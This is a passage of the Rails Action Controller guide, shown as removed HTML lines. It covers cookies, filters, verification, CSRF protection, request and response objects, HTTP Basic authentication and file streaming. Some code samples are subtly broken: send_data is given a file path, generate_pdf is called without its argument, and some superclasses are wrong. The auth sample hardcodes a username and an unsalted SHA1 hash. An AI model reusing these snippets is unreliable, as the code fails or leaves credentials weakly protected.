-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-    <span style="font-style: italic"><span style="color: #9A1900">#Auto-fill the commenter's name if it has been stored in a cookie</span></span>
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
-      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Thanks for your comment!"</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>remember_name<span style="color: #990000">]</span>
-        <span style="font-style: italic"><span style="color: #9A1900"># Remember the commenter's name</span></span>
-        cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>name
-      <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-        <span style="font-style: italic"><span style="color: #9A1900"># Don't remember, and delete the name if it has been remembered before</span></span>
-        cookies<span style="color: #990000">.</span>delete<span style="color: #990000">(:</span>commenter_name<span style="color: #990000">)</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-      redirect_to <span style="color: #009900">@comment</span><span style="color: #990000">.</span>article
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that while for session values, you set the key to <tt>nil</tt>, to delete a cookie value, you should use <tt>cookies.delete(:key)</tt>.</p></div>
-</div>
-<h2 id="_filters">6. Filters</h2>
-<div class="sectionbody">
-<div class="para"><p>Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> require_login
-    <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
-      flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
-      redirect_to new_login_url <span style="font-style: italic"><span style="color: #9A1900"># Prevents the current action from running</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># The logged_in? method simply returns true if the user is logged in and</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># false otherwise. It does this by "booleanizing" the current_user method</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># we created previously using a double ! operator. Note that this is not</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># common in Ruby and is discouraged unless you really mean to convert something</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># into true or false.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> logged_in?
-    <span style="color: #990000">!!</span>current_user
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the <tt>before_filter</tt> method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  before_filter <span style="color: #990000">:</span>require_login
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with <tt>skip_before_filter</tt> :</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> Application
-
-  skip_before_filter <span style="color: #990000">:</span>require_login<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>new<span style="color: #990000">,</span> <span style="color: #990000">:</span>create<span style="color: #990000">]</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now, the <tt>LoginsController</tt>'s "new" and "create" actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p></div>
-<h3 id="_after_filters_and_around_filters">6.1. After Filters and Around Filters</h3>
-<div class="para"><p>In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Example taken from the Rails API filter documentation:</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> Application
-
-  around_filter <span style="color: #990000">:</span>catch_exceptions
-
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> catch_exceptions
-    <span style="font-weight: bold"><span style="color: #0000FF">yield</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> <span style="color: #990000">=&gt;</span> exception
-    logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Caught exception! #{exception}"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_other_ways_to_use_filters">6.2. Other Ways to Use Filters</h3>
-<div class="para"><p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p></div>
-<div class="para"><p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritten to use a block:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  before_filter <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> redirect_to new_login_url <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> controller<span style="color: #990000">.</span>send<span style="color: #990000">(:</span>logged_in?<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p></div>
-<div class="para"><p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  before_filter LoginFilter
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginFilter
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>filter<span style="color: #990000">(</span>controller<span style="color: #990000">)</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
-      controller<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
-      controller<span style="color: #990000">.</span>redirect_to controller<span style="color: #990000">.</span>new_login_url
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p></div>
-<div class="para"><p>The Rails API documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p></div>
-</div>
-<h2 id="_verification">7. Verification</h2>
-<div class="sectionbody">
-<div class="para"><p>Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html">API documentation</a> as "essentially a special kind of before_filter".</p></div>
-<div class="para"><p>Here's an example of using verification to make sure the user supplies a username and a password in order to log in:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  verify <span style="color: #990000">:</span>params <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
-         <span style="color: #990000">:</span>render <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
-         <span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@user</span>
-      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You're logged in"</span>
-      redirect_to root_url
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now the <tt>create</tt> action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  verify <span style="color: #990000">:</span>params <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
-         <span style="color: #990000">:</span>render <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
-         <span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
-         <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900"># Only run this verification for the "create" action</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_request_forgery_protection">8. Request Forgery Protection</h2>
-<div class="sectionbody">
-<div class="para"><p>Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.</p></div>
-<div class="para"><p>If you generate a form like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% form_for @user do |f| -%&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.text_field :username %&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.text_field :password -%&gt;</span>
-<span style="color: #FF0000">&lt;% end -%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You will see how the token gets added as a hidden field:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;form</span></span> <span style="color: #009900">action</span><span style="color: #990000">=</span><span style="color: #FF0000">"/users/1"</span> <span style="color: #009900">method</span><span style="color: #990000">=</span><span style="color: #FF0000">"post"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;div&gt;</span></span><span style="font-style: italic"><span style="color: #9A1900">&lt;!-- ... --&gt;</span></span><span style="font-weight: bold"><span style="color: #0000FF">&lt;input</span></span> <span style="color: #009900">type</span><span style="color: #990000">=</span><span style="color: #FF0000">"hidden"</span> <span style="color: #009900">value</span><span style="color: #990000">=</span><span style="color: #FF0000">"67250ab105eb5ad10851c00a5621854a23af5489"</span> <span style="color: #009900">name</span><span style="color: #990000">=</span><span style="color: #FF0000">"authenticity_token"</span><span style="font-weight: bold"><span style="color: #0000FF">/&gt;&lt;/div&gt;</span></span>
-<span style="font-style: italic"><span style="color: #9A1900">&lt;!-- Fields --&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/form&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails adds this token to every form that's generated using the <a href="../form_helpers.html">form helpers</a>, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method <tt>form_authenticity_token</tt>:</p></div>
-<div class="listingblock">
-<div class="title">Example: Add a JavaScript variable containing the token for use with Ajax</div>
-<div class="content">
-<pre><tt>&lt;%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %&gt;</tt></pre>
-</div></div>
-<div class="para"><p>The <a href="../security.html">Security Guide</a> has more about this and a lot of other security-related issues that you should be aware of when developing a web application.</p></div>
-</div>
-<h2 id="_the_tt_request_tt_and_tt_response_tt_objects">9. The <tt>request</tt> and <tt>response</tt> Objects</h2>
-<div class="sectionbody">
-<div class="para"><p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of AbstractRequest and the <tt>response</tt> method returns a <tt>response</tt> object representing what is going to be sent back to the client.</p></div>
-<h3 id="_the_tt_request_tt_object">9.1. The <tt>request</tt> Object</h3>
-<div class="para"><p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">API documentation</a>. Among the properties that you can access on this object are:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-host - The hostname used for this request.
-</p>
-</li>
-<li>
-<p>
-domain - The hostname without the first segment (usually "www").
-</p>
-</li>
-<li>
-<p>
-format - The content type requested by the client.
-</p>
-</li>
-<li>
-<p>
-method - The HTTP method used for the request.
-</p>
-</li>
-<li>
-<p>
-get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
-</p>
-</li>
-<li>
-<p>
-headers - Returns a hash containing the headers associated with the request.
-</p>
-</li>
-<li>
-<p>
-port - The port number (integer) used for the request.
-</p>
-</li>
-<li>
-<p>
-protocol - The protocol used for the request.
-</p>
-</li>
-<li>
-<p>
-query_string - The query string part of the URL - everything after "?".
-</p>
-</li>
-<li>
-<p>
-remote_ip - The IP address of the client.
-</p>
-</li>
-<li>
-<p>
-url - The entire URL used for the request.
-</p>
-</li>
-</ul></div>
-<h4 id="_tt_path_parameters_tt_tt_query_parameters_tt_and_tt_request_parameters_tt">9.1.1. <tt>path_parameters</tt>, <tt>query_parameters</tt> and <tt>request_parameters</tt></h4>
-<div class="para"><p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.</p></div>
-<h3 id="_the_tt_response_tt_object">9.2. The <tt>response</tt> Object</h3>
-<div class="para"><p>The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-body - This is the string of data being sent back to the client. This is most often HTML.
-</p>
-</li>
-<li>
-<p>
-status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
-</p>
-</li>
-<li>
-<p>
-location - The URL the client is being redirected to, if any.
-</p>
-</li>
-<li>
-<p>
-content_type - The content type of the response.
-</p>
-</li>
-<li>
-<p>
-charset - The character set being used for the response. Default is "utf8".
-</p>
-</li>
-<li>
-<p>
-headers - Headers used for the response.
-</p>
-</li>
-</ul></div>
-<h4 id="_setting_custom_headers">9.2.1. Setting Custom Headers</h4>
-<div class="para"><p>If you want to set custom headers for a response then <tt>response.headers</tt> is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to <tt>headers</tt> with the name and value:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>response<span style="color: #990000">.</span>headers<span style="color: #990000">[</span><span style="color: #FF0000">"Content-Type"</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"application/pdf"</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_http_basic_authentication">10. HTTP Basic Authentication</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <tt>authenticate_or_request_with_http_basic</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AdminController <span style="color: #990000">&lt;</span> ApplicationController
-
-  USERNAME<span style="color: #990000">,</span> PASSWORD <span style="color: #990000">=</span> <span style="color: #FF0000">"humbaba"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"</span>
-
-  before_filter <span style="color: #990000">:</span>authenticate
-
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> authenticate
-    authenticate_or_request_with_http_basic <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>username<span style="color: #990000">,</span> password<span style="color: #990000">|</span>
-      username <span style="color: #990000">==</span> USERNAME <span style="color: #990000">&amp;&amp;</span> Digest<span style="color: #990000">::</span>SHA1<span style="color: #990000">.</span>hexdigest<span style="color: #990000">(</span>password<span style="color: #990000">)</span> <span style="color: #990000">==</span> PASSWORD
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.</p></div>
-</div>
-<h2 id="_streaming_and_file_downloads">11. Streaming and File Downloads</h2>
-<div class="sectionbody">
-<div class="para"><p>Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the <tt>send_data</tt> and the <tt>send_file</tt> methods, that will both stream data to the client. <tt>send_file</tt> is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p></div>
-<div class="para"><p>To stream data to the client, use <tt>send_data</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"prawn"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Generate a PDF document with information on the client and return it.</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># The user will get the PDF as a file download.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
-    client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    send_data<span style="color: #990000">(</span>generate_pdf<span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> generate_pdf<span style="color: #990000">(</span>client<span style="color: #990000">)</span>
-    Prawn<span style="color: #990000">::</span>Document<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-      text client<span style="color: #990000">.</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>align <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>center
-      text <span style="color: #FF0000">"Address: #{client.address}"</span>
-      text <span style="color: #FF0000">"Email: #{client.email}"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">.</span>render
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to "inline". The opposite and default value for this option is "attachment".</p></div>
-<h3 id="_sending_files">11.1. Sending Files</h3>
-<div class="para"><p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Stream a file that has already been generated and stored on disk</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
-    client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    send_data<span style="color: #990000">(</span><span style="color: #FF0000">"#{RAILS_ROOT}/files/clients/#{client.id}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>:stream</tt> option or adjust the block size with the <tt>:buffer_size</tt> option.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.</td>
-</tr></table>
-</div>
-<h3 id="_restful_downloads">11.2. RESTful Downloads</h3>
